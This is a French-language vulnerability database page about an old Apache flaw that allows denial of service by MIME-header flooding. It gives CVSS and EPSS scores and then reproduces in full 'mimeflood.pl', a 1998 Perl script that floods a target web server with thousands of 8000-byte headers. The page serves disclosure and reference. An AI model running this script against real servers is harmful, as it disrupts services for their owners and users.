CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Apache allows remote attackers to conduct a denial of service via a large number of MIME headers.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.06%
–
–
2022-02-13
–
–
1.06%
–
–
2022-03-20
–
–
1.06%
–
–
2022-04-03
–
–
1.06%
–
–
2022-04-10
–
–
1.06%
–
–
2022-07-03
–
–
1.06%
–
–
2022-09-25
–
–
1.06%
–
–
2023-02-19
–
–
1.06%
–
–
2023-03-12
–
–
–
0.39%
–
2023-05-28
–
–
–
0.39%
–
2023-11-05
–
–
–
0.39%
–
2023-11-12
–
–
–
0.39%
–
2023-12-17
–
–
–
0.39%
–
2024-02-11
–
–
–
0.39%
–
2024-06-02
–
–
–
0.39%
–
2024-06-23
–
–
–
0.39%
–
2024-12-22
–
–
–
0.71%
–
2025-02-09
–
–
–
0.71%
–
2025-01-19
–
–
–
0.71%
–
2025-02-16
–
–
–
0.71%
–
2025-03-18
–
–
–
–
6.49%
2025-03-30
–
–
–
–
6.22%
2025-03-30
–
–
–
–
6.22,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 1998-08-01 22h00 +00:00 Auteur : L.Facq EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/1760/info
Apache Web Server and MessageMedia UnityMail are susceptible to a denial of service attack if a significant amount of 8000 byte MIME headers are sent. Both will crash and restart of the application is required in order to regain normal functionality. Other web servers may be also be vulnerable to this attack.
#! /bin/perl
# mimeflood.pl - 02/08/1998 - L.Facq (facq@u-bordeaux.fr)
# Web servers / possible DOS Attack / "mime header flooding"
#
# looking at the apache 1.2.5 source code i found
# that there was no limit on how many mime headers could
# be included in a client request. The only limits
# are : 8192 byte for each header, 300 sec. on reading headers.
#
# => by sending a crazy amount of 8000 bytes headers, it's possible
# to consume a lot of memory (and of course CPU). The point
# is that httpd daemons grow and STAY at this big size (or die
# if you send too much)
#
# -> may be a limit on mime header number could be added.
#
# -> may be other web server could be vulnerable to this problem.
#
# - i tried on an apache 1.2.5 -> it works
# - i didnt installed 1.3.1 but looking at the source code,
# i think the problem is there too.
#
##################################################
#From Roy T. Fielding / Sep 2 '98 at 12:57 pm -420
#
#[...]
#>
#> -> may be a limit on mime header number could be added.
#
#Such limits have already been added to 1.3.2-dev.
#
#.....Roy
use Socket;
# Usage : $0 host [port [max] ]
$max= 0;
if ($ARGV[2])
{
$max= $ARGV[2];
}
$proto = getprotobyname('tcp');
socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);
$port = 80;
if ($ARGV[1])
{
$port= $ARGV[1];
}
$host = $ARGV[0];
$sin = sockaddr_in($port,inet_aton($host));
connect(Socket_Handle,$sin);
send Socket_Handle,"GET / HTTP/1.0\n",0;
$val= ('z'x8000)."\n";
$n= 1;
$|= 1;
while (Socket_Handle)
{
send Socket_Handle,"Stupidheader$n: ",0;
send Socket_Handle,$val,0;
$n++;
if (!($n % 100))
{
print "$n\n";
}
if ($max && ($n > $max))
{
last;
}
}
print "Done: $n\n";
send Socket_Handle,"\n",0;
while (<Socket_Handle>)
{
print $_;
}